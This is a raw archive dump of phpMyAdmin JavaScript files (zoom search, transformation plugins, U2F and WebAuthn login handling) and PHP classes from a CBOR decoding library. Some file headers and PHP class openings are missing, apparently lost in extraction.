CommonParams.get('db'), 'table' : CommonParams.get('table'), 'field' : $('#tableid_2').val(), 'it' : 2 }, function (data) { $('#tableFieldsId').find('tr').eq(4).find('td').eq(0).html(data.field_type); $('#tableFieldsId').find('tr').eq(4).find('td').eq(1).html(data.field_collation); $('#tableFieldsId').find('tr').eq(4).find('td').eq(2).html(data.field_operators); $('#tableFieldsId').find('tr').eq(4).find('td').eq(3).html(data.field_value); $('#types_2').val(data.field_type); $('#collations_2').val(data.field_collations); comparisonOperatorOnChange(); Functions.addDateTimePicker(); }); }); $('#tableid_3').on('change', function () { // AJAX request for field type, collation, operators, and value field $.post('index.php?route=/table/zoom-search', { 'ajax_request' : true, 'change_tbl_info' : true, 'server' : CommonParams.get('server'), 'db' : CommonParams.get('db'), 'table' : CommonParams.get('table'), 'field' : $('#tableid_3').val(), 'it' : 3 }, function (data) { $('#tableFieldsId').find('tr').eq(5).find('td').eq(0).html(data.field_type); $('#tableFieldsId').find('tr').eq(5).find('td').eq(1).html(data.field_collation); $('#tableFieldsId').find('tr').eq(5).find('td').eq(2).html(data.field_operators); $('#tableFieldsId').find('tr').eq(5).find('td').eq(3).html(data.field_value); $('#types_3').val(data.field_type); $('#collations_3').val(data.field_collations); comparisonOperatorOnChange(); Functions.addDateTimePicker(); }); }); /** * Input form validation **/ $('#inputFormSubmitId').on('click', function () { if ($('#tableid_0').get(0).selectedIndex === 0 || $('#tableid_1').get(0).selectedIndex === 0) { Functions.ajaxShowMessage(Messages.strInputNull); } else if (xLabel === yLabel) { Functions.ajaxShowMessage(Messages.strSameInputs); } }); /** ** Prepare a div containing a link, otherwise it's incorrectly displayed ** after a couple of clicks **/ $('
              ') .insertAfter('#zoom_search_form') // don't show it until we have results on-screen .hide(); $('#togglesearchformlink') .html(Messages.strShowSearchCriteria) .on('click', function () { var $link = $(this); $('#zoom_search_form').slideToggle(); if ($link.text() === Messages.strHideSearchCriteria) { $link.text(Messages.strShowSearchCriteria); } else { $link.text(Messages.strHideSearchCriteria); } // avoid default click action return false; }); /** * Handle saving of a row in the editor */ var dataPointSave = function () { // Find changed values by comparing form values with selectedRow Object var newValues = {};// Stores the values changed from original var sqlTypes = {}; var it = 0; var xChange = false; var yChange = false; var key; var tempGetVal = function () { return $(this).val(); }; for (key in selectedRow) { var oldVal = selectedRow[key]; var newVal = ($('#edit_fields_null_id_' + it).prop('checked')) ? null : $('#edit_fieldID_' + it).val(); if (newVal instanceof Array) { // when the column is of type SET newVal = $('#edit_fieldID_' + it).map(tempGetVal).get().join(','); } if (oldVal !== newVal) { selectedRow[key] = newVal; newValues[key] = newVal; if (key === xLabel) { xChange = true; searchedData[searchedDataKey][xLabel] = newVal; } else if (key === yLabel) { yChange = true; searchedData[searchedDataKey][yLabel] = newVal; } } var $input = $('#edit_fieldID_' + it); if ($input.hasClass('bit')) { sqlTypes[key] = 'bit'; } else { sqlTypes[key] = null; } it++; } // End data update // Update the chart series and replot if (xChange || yChange) { // Logic similar to plot generation, replot only if xAxis changes or yAxis changes. // Code includes a lot of checks so as to replot only when necessary if (xChange) { xCord[searchedDataKey] = selectedRow[xLabel]; // [searchedDataKey][0] contains the x value if (xType === 'numeric') { series[0][searchedDataKey][0] = selectedRow[xLabel]; } else if (xType === 'time') { series[0][searchedDataKey][0] = getTimeStamp(selectedRow[xLabel], $('#types_0').val()); } else { series[0][searchedDataKey][0] = ''; // TODO: text values } currentChart.series[0].data = series[0]; // TODO: axis changing currentChart.replot(); } if (yChange) { yCord[searchedDataKey] = selectedRow[yLabel]; // [searchedDataKey][1] contains the y value if (yType === 'numeric') { series[0][searchedDataKey][1] = selectedRow[yLabel]; } else if (yType === 'time') { series[0][searchedDataKey][1] = getTimeStamp(selectedRow[yLabel], $('#types_1').val()); } else { series[0][searchedDataKey][1] = ''; // TODO: text values } currentChart.series[0].data = series[0]; // TODO: axis changing currentChart.replot(); } } // End plot update // Generate SQL query for update if (!isEmpty(newValues)) { var sqlQuery = 'UPDATE `' + CommonParams.get('table') + '` SET '; for (key in newValues) { sqlQuery += '`' + key + '`='; var value = newValues[key]; // null if (value === null) { sqlQuery += 'NULL, '; // empty } else if (value.trim() === '') { sqlQuery += '\'\', '; // other } else { // type explicitly identified if (sqlTypes[key] !== null) { if (sqlTypes[key] === 'bit') { sqlQuery += 'b\'' + value + '\', '; } // type not explicitly identified } else { if (!isNumeric(value)) { sqlQuery += '\'' + value + '\', '; } else { sqlQuery += value + ', '; } } } } // remove two extraneous characters ', ' sqlQuery = sqlQuery.substring(0, sqlQuery.length - 2); sqlQuery += ' WHERE ' + Sql.urlDecode(searchedData[searchedDataKey].where_clause); $.post('index.php?route=/sql', { 'server' : CommonParams.get('server'), 'db' : CommonParams.get('db'), 'ajax_request' : true, 'sql_query' : sqlQuery, 'inline_edit' : false }, function (data) { if (typeof data !== 'undefined' && data.success === true) { $('#sqlqueryresultsouter').html(data.sql_query); Functions.highlightSql($('#sqlqueryresultsouter')); } else { Functions.ajaxShowMessage(data.error, false); } }); // End $.post }// End database update }; $('#dataPointSaveButton').on('click', function () { dataPointSave(); }); $('#dataPointModalLabel').first().html(Messages.strDataPointContent); /** * Attach Ajax event handlers for input fields * in the dialog. Used to submit the Ajax * request when the ENTER key is pressed. */ $(document).on('keydown', '#dataDisplay :input', function (e) { if (e.which === 13) { // 13 is the ENTER key e.preventDefault(); if (typeof dataPointSave === 'function') { dataPointSave(); } } }); /* * Generate plot using jqplot */ if (searchedData !== null) { $('#zoom_search_form') .slideToggle() .hide(); $('#togglesearchformlink') .text(Messages.strShowSearchCriteria); $('#togglesearchformdiv').show(); var selectedRow; var series = []; var xCord = []; var yCord = []; var xVal; var yVal; var format; var options = { series: [ // for a scatter plot { showLine: false } ], grid: { drawBorder: false, shadow: false, background: 'rgba(0,0,0,0)' }, axes: { xaxis: { label: $('#tableid_0').val(), labelRenderer: $.jqplot.CanvasAxisLabelRenderer }, yaxis: { label: $('#tableid_1').val(), labelRenderer: $.jqplot.CanvasAxisLabelRenderer } }, highlighter: { show: true, tooltipAxes: 'y', yvalues: 2, // hide the first y value formatString: '%s%s' }, cursor: { show: true, zoom: true, showTooltip: false } }; // If data label is not set, do not show tooltips if (dataLabel === '') { options.highlighter.show = false; } // Classify types as either numeric,time,text xType = getType(xType); yType = getType(yType); // could have multiple series but we'll have just one series[0] = []; if (xType === 'time') { var originalXType = $('#types_0').val(); if (originalXType === 'date') { format = '%Y-%m-%d'; } // TODO: does not seem to work // else if (originalXType === 'time') { // format = '%H:%M'; // } else { // format = '%Y-%m-%d %H:%M'; // } $.extend(options.axes.xaxis, { renderer: $.jqplot.DateAxisRenderer, tickOptions: { formatString: format } }); } if (yType === 'time') { var originalYType = $('#types_1').val(); if (originalYType === 'date') { format = '%Y-%m-%d'; } $.extend(options.axes.yaxis, { renderer: $.jqplot.DateAxisRenderer, tickOptions: { formatString: format } }); } $.each(searchedData, function (key, value) { if (xType === 'numeric') { xVal = parseFloat(value[xLabel]); } if (xType === 'time') { xVal = getTimeStamp(value[xLabel], originalXType); } if (yType === 'numeric') { yVal = parseFloat(value[yLabel]); } if (yType === 'time') { yVal = getTimeStamp(value[yLabel], originalYType); } series[0].push([ xVal, yVal, // extra Y values value[dataLabel], // for highlighter // (may set an undefined value) value.where_clause, // for click on point key, // key from searchedData value.where_clause_sign ]); }); // under IE 8, the initial display is mangled; after a manual // resizing, it's ok // under IE 9, everything is fine currentChart = $.jqplot('querychart', series, options); currentChart.resetZoom(); $('button.button-reset').on('click', function (event) { event.preventDefault(); currentChart.resetZoom(); }); $('div#resizer').resizable(); $('div#resizer').on('resizestop', function () { // make room so that the handle will still appear $('div#querychart').height($('div#resizer').height() * 0.96); $('div#querychart').width($('div#resizer').width() * 0.96); currentChart.replot({ resetAxes: true }); }); $('div#querychart').on('jqplotDataClick', function (event, seriesIndex, pointIndex, data) { searchedDataKey = data[4]; // key from searchedData (global) var fieldId = 0; var postParams = { 'ajax_request' : true, 'get_data_row' : true, 'server' : CommonParams.get('server'), 'db' : CommonParams.get('db'), 'table' : CommonParams.get('table'), 'where_clause' : data[3], 'where_clause_sign' : data[5] }; $.post('index.php?route=/table/zoom-search', postParams, function (data) { // Row is contained in data.row_info, // now fill the displayResultForm with row values var key; for (key in data.row_info) { var $field = $('#edit_fieldID_' + fieldId); var $fieldNull = $('#edit_fields_null_id_' + fieldId); if (data.row_info[key] === null) { $fieldNull.prop('checked', true); $field.val(''); } else { $fieldNull.prop('checked', false); if ($field.attr('multiple')) { // when the column is of type SET $field.val(data.row_info[key].split(',')); } else { $field.val(data.row_info[key]); } } fieldId++; } selectedRow = data.row_info; }); $('#dataPointModal').modal('show'); } ); } $('#help_dialog').on('click', function () { displayHelp(); }); }); transformations/image_upload.js000066600000001423151724624350012776 0ustar00/** * Image upload transformations plugin js * * @package PhpMyAdmin */ AJAX.registerOnload('transformations/image_upload.js', function () { // Change thumbnail when image file is selected // through file upload dialog $('input.image-upload').on('change', function () { if (this.files && this.files[0]) { var reader = new FileReader(); var $input = $(this); reader.onload = function (e) { $input.prevAll('img').attr('src', e.target.result); }; reader.readAsDataURL(this.files[0]); } }); }); /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('transformations/image_upload.js', function () { $('input.image-upload').off('change'); }); transformations/json.js000066600000001164151724624350011323 0ustar00/** * JSON syntax highlighting transformation plugin */ AJAX.registerOnload('transformations/json.js', function () { var $elm = $('#page_content').find('code.json'); $elm.each(function () { var $json = $(this); var $pre = $json.find('pre'); /* We only care about visible elements to avoid double processing */ if ($pre.is(':visible')) { var $highlight = $('
              '); $json.append($highlight); CodeMirror.runMode($json.text(), 'application/json', $highlight[0]); $pre.hide(); } }); }); transformations/json_editor.js000066600000000663151724624350012674 0ustar00/** * JSON syntax highlighting transformation plugin * * @package PhpMyAdmin */ AJAX.registerOnload('transformations/json_editor.js', function () { $('textarea.transform_json_editor').each(function () { CodeMirror.fromTextArea(this, { lineNumbers: true, matchBrackets: true, indentUnit: 4, mode: 'application/json', lineWrapping: true }); }); }); transformations/sql_editor.js000066600000000424151724624350012515 0ustar00/** * SQL syntax highlighting transformation plugin js * * @package PhpMyAdmin */ AJAX.registerOnload('transformations/sql_editor.js', function () { $('textarea.transform_sql_editor').each(function () { Functions.getSqlEditor($(this), {}, 'both'); }); }); transformations/xml.js000066600000001157151724624350011154 0ustar00/** * XML syntax highlighting transformation plugin */ AJAX.registerOnload('transformations/xml.js', function () { var $elm = $('#page_content').find('code.xml'); $elm.each(function () { var $json = $(this); var $pre = $json.find('pre'); /* We only care about visible elements to avoid double processing */ if ($pre.is(':visible')) { var $highlight = $('
              '); $json.append($highlight); CodeMirror.runMode($json.text(), 'application/xml', $highlight[0]); $pre.hide(); } }); }); transformations/xml_editor.js000066600000000562151724624350012521 0ustar00/** * XML editor plugin * * @package PhpMyAdmin */ AJAX.registerOnload('transformations/xml_editor.js', function () { $('textarea.transform_xml_editor').each(function () { CodeMirror.fromTextArea(this, { lineNumbers: true, indentUnit: 4, mode: 'application/xml', lineWrapping: true }); }); }); u2f.js000066600000006623151724624350005622 0ustar00/* global u2f */ // js/vendor/u2f-api-polyfill.js AJAX.registerOnload('u2f.js', function () { var $inputReg = $('#u2f_registration_response'); if ($inputReg.length > 0) { var $formReg = $inputReg.parents('form'); $formReg.find('input[type=submit]').hide(); setTimeout(function () { // A magic JS function that talks to the USB device. This function will keep polling for the USB device until it finds one. var request = JSON.parse($inputReg.attr('data-request')); u2f.register(request.appId, [request], JSON.parse($inputReg.attr('data-signatures')), function (data) { // Handle returning error data if (data.errorCode && data.errorCode !== 0) { switch (data.errorCode) { case 5: Functions.ajaxShowMessage(Messages.strU2FTimeout, false, 'error'); break; case 4: Functions.ajaxShowMessage(Messages.strU2FErrorRegister, false, 'error'); break; case 3: Functions.ajaxShowMessage(Messages.strU2FInvalidClient, false, 'error'); break; case 2: Functions.ajaxShowMessage(Messages.strU2FBadRequest, false, 'error'); break; default: Functions.ajaxShowMessage(Messages.strU2FUnknown, false, 'error'); break; } return; } // Fill and submit form. $inputReg.val(JSON.stringify(data)); $formReg.trigger('submit'); }); }, 1000); } var $inputAuth = $('#u2f_authentication_response'); if ($inputAuth.length > 0) { var $formAuth = $inputAuth.parents('form'); $formAuth.find('input[type=submit]').hide(); setTimeout(function () { // Magic JavaScript talking to your HID // appid, challenge, authenticateRequests var request = JSON.parse($inputAuth.attr('data-request')); u2f.sign(request[0].appId, request[0].challenge, request, function (data) { // Handle returning error data if (data.errorCode && data.errorCode !== 0) { switch (data.errorCode) { case 5: Functions.ajaxShowMessage(Messages.strU2FTimeout, false, 'error'); break; case 4: Functions.ajaxShowMessage(Messages.strU2FErrorAuthenticate, false, 'error'); break; case 3: Functions.ajaxShowMessage(Messages.strU2FInvalidClient, false, 'error'); break; case 2: Functions.ajaxShowMessage(Messages.strU2FBadRequest, false, 'error'); break; default: Functions.ajaxShowMessage(Messages.strU2FUnknown, false, 'error'); break; } return; } // Fill and submit form. $inputAuth.val(JSON.stringify(data)); $formAuth.trigger('submit'); }); }, 1000); } }); webauthn.js000066600000010540151724624350006734 0ustar00/** * @param {ArrayBuffer} buffer * * @return {string} */ const arrayBufferToBase64 = buffer => { const bytes = new Uint8Array(buffer); let string = ''; for (const byte of bytes) { string += String.fromCharCode(byte); } return window.btoa(string); }; /** * @param {string} string * * @return {Uint8Array} */ const base64ToUint8Array = string => { return Uint8Array.from(window.atob(string), char => char.charCodeAt(0)); }; /** * @param {JQuery} $input * * @return {void} */ const handleCreation = $input => { const $form = $input.parents('form'); $form.find('input[type=submit]').hide(); const creationOptionsJson = $input.attr('data-creation-options'); const creationOptions = JSON.parse(creationOptionsJson); const publicKey = creationOptions; publicKey.challenge = base64ToUint8Array(creationOptions.challenge); publicKey.user.id = base64ToUint8Array(creationOptions.user.id); if (creationOptions.excludeCredentials) { const excludedCredentials = []; for (let value of creationOptions.excludeCredentials) { let excludedCredential = value; excludedCredential.id = base64ToUint8Array(value.id); excludedCredentials.push(excludedCredential); } publicKey.excludeCredentials = excludedCredentials; } // eslint-disable-next-line compat/compat navigator.credentials.create({ publicKey: publicKey }) .then((credential) => { const credentialJson = JSON.stringify({ id: credential.id, rawId: arrayBufferToBase64(credential.rawId), type: credential.type, response: { clientDataJSON: arrayBufferToBase64(credential.response.clientDataJSON), attestationObject: arrayBufferToBase64(credential.response.attestationObject), } }); $input.val(credentialJson); $form.trigger('submit'); }) .catch((error) => Functions.ajaxShowMessage(error, false, 'error')); }; /** * @param {JQuery} $input * * @return {void} */ const handleRequest = $input => { const $form = $input.parents('form'); $form.find('input[type=submit]').hide(); const requestOptionsJson = $input.attr('data-request-options'); const requestOptions = JSON.parse(requestOptionsJson); const publicKey = requestOptions; publicKey.challenge = base64ToUint8Array(requestOptions.challenge); if (requestOptions.allowCredentials) { const allowedCredentials = []; for (let value of requestOptions.allowCredentials) { let allowedCredential = value; allowedCredential.id = base64ToUint8Array(value.id); allowedCredentials.push(allowedCredential); } publicKey.allowCredentials = allowedCredentials; } // eslint-disable-next-line compat/compat navigator.credentials.get({ publicKey: publicKey }) .then((credential) => { const credentialJson = JSON.stringify({ id: credential.id, rawId: arrayBufferToBase64(credential.rawId), type: credential.type, response: { authenticatorData: arrayBufferToBase64(credential.response.authenticatorData), clientDataJSON: arrayBufferToBase64(credential.response.clientDataJSON), signature: arrayBufferToBase64(credential.response.signature), userHandle: arrayBufferToBase64(credential.response.userHandle), } }); $input.val(credentialJson); $form.trigger('submit'); }) .catch((error) => Functions.ajaxShowMessage(error, false, 'error')); }; AJAX.registerOnload('webauthn.js', function () { if ( ! navigator.credentials || ! navigator.credentials.create || ! navigator.credentials.get || ! window.PublicKeyCredential ) { Functions.ajaxShowMessage(Messages.webAuthnNotSupported, false, 'error'); return; } const $creationInput = $('#webauthn_creation_response'); if ($creationInput.length > 0) { handleCreation($creationInput); } const $requestInput = $('#webauthn_request_response'); if ($requestInput.length > 0) { handleRequest($requestInput); } }); AbstractCBORObject.php000066600000001713151726616140010634 0ustar00majorType = $majorType; $this->additionalInformation = $additionalInformation; } public function __toString(): string { return chr($this->majorType << 5 | $this->additionalInformation); } public function getMajorType(): int { return $this->majorType; } public function getAdditionalInformation(): int { return $this->additionalInformation; } } ByteStringObject.php000066600000002401151726616140010510 0ustar00length = $length; $this->value = $data; } public function __toString(): string { $result = parent::__toString(); if (null !== $this->length) { $result .= $this->length; } $result .= $this->value; return $result; } public function getValue(): string { return $this->value; } public function getLength(): int { return mb_strlen($this->value, '8bit'); } public function getNormalizedData(bool $ignoreTags = false): string { return $this->value; } } ByteStringWithChunkObject.php000066600000003530151726616140012341 0ustar00chunks as $chunk) { $result .= (string) $chunk; } $bin = hex2bin('FF'); if (false === $bin) { throw new InvalidArgumentException('Unable to convert the data'); } $result .= $bin; return $result; } public function add(ByteStringObject $chunk): void { $this->chunks[] = $chunk; } public function append(string $chunk): void { $this->add(new ByteStringObject($chunk)); } public function getValue(): string { $result = ''; foreach ($this->chunks as $chunk) { $result .= $chunk->getValue(); } return $result; } public function getLength(): int { $length = 0; foreach ($this->chunks as $chunk) { $length += $chunk->getLength(); } return $length; } public function getNormalizedData(bool $ignoreTags = false): string { $result = ''; foreach ($this->chunks as $chunk) { $result .= $chunk->getNormalizedData($ignoreTags); } return $result; } } CBORObject.php000066600000001012151726616140007140 0ustar00tagObjectManager = $tagObjectManager; $this->otherTypeManager = $otherTypeManager; } public function decode(Stream $stream): CBORObject { return $this->process($stream); } private function process(Stream $stream, bool $breakable = false): CBORObject { $ib = ord($stream->read(1)); $mt = $ib >> 5; $ai = $ib & 0b00011111; $val = null; switch ($ai) { case 0b00011000: //24 case 0b00011001: //25 case 0b00011010: //26 case 0b00011011: //27 $val = $stream->read(2 ** ($ai & 0b00000111)); break; case 0b00011100: //28 case 0b00011101: //29 case 0b00011110: //30 throw new InvalidArgumentException(sprintf('Cannot parse the data. Found invalid Additional Information "%s" (%d).', str_pad(decbin($ai), 5, '0', STR_PAD_LEFT), $ai)); case 0b00011111: //31 return $this->processInfinite($stream, $mt, $breakable); } return $this->processFinite($stream, $mt, $ai, $val); } private function processFinite(Stream $stream, int $mt, int $ai, ?string $val): CBORObject { switch ($mt) { case 0b000: //0 return UnsignedIntegerObject::createObjectForValue($ai, $val); case 0b001: //1 return SignedIntegerObject::createObjectForValue($ai, $val); case 0b010: //2 $length = null === $val ? $ai : Utils::binToInt($val); return new ByteStringObject($stream->read($length)); case 0b011: //3 $length = null === $val ? $ai : Utils::binToInt($val); return new TextStringObject($stream->read($length)); case 0b100: //4 $object = new ListObject(); $nbItems = null === $val ? $ai : Utils::binToInt($val); for ($i = 0; $i < $nbItems; ++$i) { $object->add($this->process($stream)); } return $object; case 0b101: //5 $object = new MapObject(); $nbItems = null === $val ? $ai : Utils::binToInt($val); for ($i = 0; $i < $nbItems; ++$i) { $object->add($this->process($stream), $this->process($stream)); } return $object; case 0b110: //6 return $this->tagObjectManager->createObjectForValue($ai, $val, $this->process($stream)); case 0b111: //7 return $this->otherTypeManager->createObjectForValue($ai, $val); default: throw new RuntimeException(sprintf('Unsupported major type "%s" (%d).', str_pad(decbin($mt), 5, '0', STR_PAD_LEFT), $mt)); // Should never append } } private function processInfinite(Stream $stream, int $mt, bool $breakable): CBORObject { switch ($mt) { case 0b010: //2 $object = new ByteStringWithChunkObject(); while (!($it = $this->process($stream, true)) instanceof BreakObject) { if (!$it instanceof ByteStringObject) { throw new RuntimeException('Unable to parse the data. Infinite Byte String object can only get Byte String objects.'); } $object->add($it); } return $object; case 0b011: //3 $object = new TextStringWithChunkObject(); while (!($it = $this->process($stream, true)) instanceof BreakObject) { if (!$it instanceof TextStringObject) { throw new RuntimeException('Unable to parse the data. Infinite Text String object can only get Text String objects.'); } $object->add($it); } return $object; case 0b100: //4 $object = new InfiniteListObject(); while (!($it = $this->process($stream, true)) instanceof BreakObject) { $object->add($it); } return $object; case 0b101: //5 $object = new InfiniteMapObject(); while (!($it = $this->process($stream, true)) instanceof BreakObject) { $object->append($it, $this->process($stream)); } return $object; case 0b111: //7 if (!$breakable) { throw new InvalidArgumentException('Cannot parse the data. No enclosing indefinite.'); } return new BreakObject(); case 0b000: //0 case 0b001: //1 case 0b110: //6 default: throw new InvalidArgumentException(sprintf('Cannot parse the data. Found infinite length for Major Type "%s" (%d).', str_pad(decbin($mt), 5, '0', STR_PAD_LEFT), $mt)); } } } InfiniteListObject.php000066600000003175151726616140011030 0ustar00data as $object) { $result .= (string) $object; } $bin = hex2bin('FF'); if (false === $bin) { throw new InvalidArgumentException('Unable to convert the data'); } $result .= $bin; return $result; } public function getNormalizedData(bool $ignoreTags = false): array { return array_map(function (CBORObject $item) use ($ignoreTags) { return $item->getNormalizedData($ignoreTags); }, $this->data); } public function add(CBORObject $item): void { $this->data[] = $item; } public function count(): int { return count($this->data); } public function getIterator(): Iterator { return new ArrayIterator($this->data); } } InfiniteMapObject.php000066600000003447151726616140010634 0ustar00data as $object) { $result .= (string) $object->getKey(); $result .= (string) $object->getValue(); } $bin = hex2bin('FF'); if (false === $bin) { throw new InvalidArgumentException('Unable to convert the data'); } $result .= $bin; return $result; } public function append(CBORObject $key, CBORObject $value): void { $this->data[] = new MapItem($key, $value); } public function count(): int { return count($this->data); } public function getIterator(): Iterator { return new ArrayIterator($this->data); } public function getNormalizedData(bool $ignoreTags = false): array { $result = []; foreach ($this->data as $object) { $result[$object->getKey()->getNormalizedData($ignoreTags)] = $object->getValue()->getNormalizedData($ignoreTags); } return $result; } } LengthCalculator.php000066600000003547151726616140010536 0ustar00isLessThan(BigInteger::fromBase('FFFFFFFFFFFFFFFF', 16)): return [27, self::hex2bin(static::fixHexLength(Utils::intToHex($length)))]; default: return [31, null]; } } private static function hex2bin(string $data): string { $result = hex2bin($data); if (false === $result) { throw new InvalidArgumentException('Unable to convert the data'); } return $result; } private static function fixHexLength(string $data): string { return str_pad($data, (int) (2 ** ceil(log(mb_strlen($data, '8bit'), 2))), '0', STR_PAD_LEFT); } } ListObject.php000066600000004520151726616140007335 0ustar00data = $data; $this->length = $length; } public function __toString(): string { $result = parent::__toString(); if (null !== $this->length) { $result .= $this->length; } foreach ($this->data as $object) { $result .= (string) $object; } return $result; } public function add(CBORObject $object): void { $this->data[] = $object; list($this->additionalInformation, $this->length) = LengthCalculator::getLengthOfArray($this->data); } public function get(int $index): CBORObject { if (!array_key_exists($index, $this->data)) { throw new InvalidArgumentException('Index not found.'); } return $this->data[$index]; } public function getNormalizedData(bool $ignoreTags = false): array { return array_map(function (CBORObject $item) use ($ignoreTags) { return $item->getNormalizedData($ignoreTags); }, $this->data); } public function count(): int { return count($this->data); } public function getIterator(): Iterator { return new ArrayIterator($this->data); } } MapItem.php000066600000001263151726616140006630 0ustar00key = $key; $this->value = $value; } public function getKey(): CBORObject { return $this->key; } public function getValue(): CBORObject { return $this->value; } } MapObject.php000066600000004353151726616140007143 0ustar00data = $data; $this->length = $length; } public function __toString(): string { $result = parent::__toString(); if (null !== $this->length) { $result .= $this->length; } foreach ($this->data as $object) { $result .= (string) $object->getKey(); $result .= (string) $object->getValue(); } return $result; } public function add(CBORObject $key, CBORObject $value): void { $this->data[] = new MapItem($key, $value); list($this->additionalInformation, $this->length) = LengthCalculator::getLengthOfArray($this->data); } public function count(): int { return count($this->data); } public function getIterator(): Iterator { return new ArrayIterator($this->data); } public function getNormalizedData(bool $ignoreTags = false): array { $result = []; foreach ($this->data as $object) { $result[$object->getKey()->getNormalizedData($ignoreTags)] = $object->getValue()->getNormalizedData($ignoreTags); } return $result; } } OtherObject/BreakObject.php000066600000001413151726616140011654 0ustar00getExponent(); $mant = $this->getMantissa(); $sign = $this->getSign(); if (0 === $exp) { $val = $mant * 2 ** (-(1022 + 52)); } elseif (0b11111111111 !== $exp) { $val = ($mant + (1 << 52)) * 2 ** ($exp - (1023 + 52)); } else { $val = 0 === $mant ? INF : NAN; } return $sign * $val; } public function getExponent(): int { $data = $this->data; Assertion::string($data, 'Invalid data'); return Utils::binToBigInteger($data)->shiftedRight(52)->and(Utils::hexToBigInteger('7ff'))->toInt(); } public function getMantissa(): int { $data = $this->data; Assertion::string($data, 'Invalid data'); return Utils::binToBigInteger($data)->and(Utils::hexToBigInteger('fffffffffffff'))->toInt(); } public function getSign(): int { $data = $this->data; Assertion::string($data, 'Invalid data'); $sign = Utils::binToBigInteger($data)->shiftedRight(63); return $sign->isEqualTo(BigInteger::one()) ? -1 : 1; } } OtherObject/FalseObject.php000066600000001373151726616140011667 0ustar00data; } } OtherObject/HalfPrecisionFloatObject.php000066600000004231151726616140014345 0ustar00getExponent(); $mant = $this->getMantissa(); $sign = $this->getSign(); if (0 === $exp) { $val = $mant * 2 ** (-24); } elseif (0b11111 !== $exp) { $val = ($mant + (1 << 10)) * 2 ** ($exp - 25); } else { $val = 0 === $mant ? INF : NAN; } return $sign * $val; } public function getExponent(): int { $data = $this->data; Assertion::string($data, 'Invalid data'); return Utils::binToBigInteger($data)->shiftedRight(10)->and(Utils::hexToBigInteger('1f'))->toInt(); } public function getMantissa(): int { $data = $this->data; Assertion::string($data, 'Invalid data'); return Utils::binToBigInteger($data)->and(Utils::hexToBigInteger('3ff'))->toInt(); } public function getSign(): int { $data = $this->data; Assertion::string($data, 'Invalid data'); $sign = Utils::binToBigInteger($data)->shiftedRight(15); return $sign->isEqualTo(BigInteger::one()) ? -1 : 1; } } OtherObject/NullObject.php000066600000001336151726616140011546 0ustar00classes[$ai] = $class; } } public function getClassForValue(int $value): string { return array_key_exists($value, $this->classes) ? $this->classes[$value] : GenericObject::class; } public function createObjectForValue(int $value, ?string $data): OtherObject { /** @var OtherObject $class */ $class = $this->getClassForValue($value); return $class::createFromLoadedData($value, $data); } } OtherObject/SimpleObject.php000066600000002536151726616140012070 0ustar00data) { return $this->getAdditionalInformation(); } return Utils::binToInt($this->data); } /** * @return SimpleObject */ public static function create(int $value): self { switch (true) { case $value < 24: return new self($value, null); case $value < 256: return new self(24, chr($value)); default: throw new InvalidArgumentException('The value is not a valid simple value'); } } } OtherObject/SinglePrecisionFloatObject.php000066600000004265151726616140014723 0ustar00getExponent(); $mant = $this->getMantissa(); $sign = $this->getSign(); if (0 === $exp) { $val = $mant * 2 ** (-(126 + 23)); } elseif (0b11111111 !== $exp) { $val = ($mant + (1 << 23)) * 2 ** ($exp - (127 + 23)); } else { $val = 0 === $mant ? INF : NAN; } return $sign * $val; } public function getExponent(): int { $data = $this->data; Assertion::string($data, 'Invalid data'); return Utils::binToBigInteger($data)->shiftedRight(23)->and(Utils::hexToBigInteger('ff'))->toInt(); } public function getMantissa(): int { $data = $this->data; Assertion::string($data, 'Invalid data'); return Utils::binToBigInteger($data)->and(Utils::hexToBigInteger('7fffff'))->toInt(); } public function getSign(): int { $data = $this->data; Assertion::string($data, 'Invalid data'); $sign = Utils::binToBigInteger($data)->shiftedRight(32); return $sign->isEqualTo(BigInteger::one()) ? -1 : 1; } } OtherObject/TrueObject.php000066600000001371151726616140011552 0ustar00data = $data; } public function __toString(): string { $result = parent::__toString(); if (null !== $this->data) { $result .= $this->data; } return $result; } /** * @return int[] */ abstract public static function supportedAdditionalInformation(): array; abstract public static function createFromLoadedData(int $additionalInformation, ?string $data): self; } SignedIntegerObject.php000066600000011545151726616140011156 0ustar00data = $data; } public function __toString(): string { $result = parent::__toString(); if (null !== $this->data) { $result .= $this->data; } return $result; } public static function createObjectForValue(int $additionalInformation, ?string $data): self { return new self($additionalInformation, $data); } public static function create(int $value): self { return self::createFromString((string) $value); } public static function createFromString(string $value): self { $integer = BigInteger::of($value); return self::createBigInteger($integer); } /** * @deprecated Deprecated since v1.1 and will be removed in v2.0. Please use "create" or "createFromString" instead */ public static function createFromGmpValue(GMP $value): self { if (gmp_cmp($value, gmp_init(0)) >= 0) { throw new InvalidArgumentException('The value must be a negative integer.'); } $minusOne = gmp_init(-1); $computed_value = gmp_sub($minusOne, $value); switch (true) { case gmp_intval($computed_value) < 24: $ai = gmp_intval($computed_value); $data = null; break; case gmp_cmp($computed_value, gmp_init('FF', 16)) < 0: $ai = 24; $data = self::hex2bin(str_pad(gmp_strval($computed_value, 16), 2, '0', STR_PAD_LEFT)); break; case gmp_cmp($computed_value, gmp_init('FFFF', 16)) < 0: $ai = 25; $data = self::hex2bin(str_pad(gmp_strval($computed_value, 16), 4, '0', STR_PAD_LEFT)); break; case gmp_cmp($computed_value, gmp_init('FFFFFFFF', 16)) < 0: $ai = 26; $data = self::hex2bin(str_pad(gmp_strval($computed_value, 16), 8, '0', STR_PAD_LEFT)); break; default: throw new InvalidArgumentException('Out of range. Please use NegativeBigIntegerTag tag with ByteStringObject object instead.'); } return new self($ai, $data); } public function getValue(): string { return $this->getNormalizedData(); } public function getNormalizedData(bool $ignoreTags = false): string { if (null === $this->data) { return (string) (-1 - $this->additionalInformation); } $result = Utils::binToBigInteger($this->data); $minusOne = BigInteger::of(-1); return $minusOne->minus($result)->toBase(10); } private static function createBigInteger(BigInteger $integer): self { if ($integer->isGreaterThanOrEqualTo(BigInteger::zero())) { throw new InvalidArgumentException('The value must be a negative integer.'); } $minusOne = BigInteger::of(-1); $computed_value = $minusOne->minus($integer); switch (true) { case $computed_value->isLessThan(BigInteger::of(24)): $ai = $computed_value->toInt(); $data = null; break; case $computed_value->isLessThan(BigInteger::fromBase('FF', 16)): $ai = 24; $data = self::hex2bin(str_pad($computed_value->toBase(16), 2, '0', STR_PAD_LEFT)); break; case $computed_value->isLessThan(BigInteger::fromBase('FFFF', 16)): $ai = 25; $data = self::hex2bin(str_pad($computed_value->toBase(16), 4, '0', STR_PAD_LEFT)); break; case $computed_value->isLessThan(BigInteger::fromBase('FFFFFFFF', 16)): 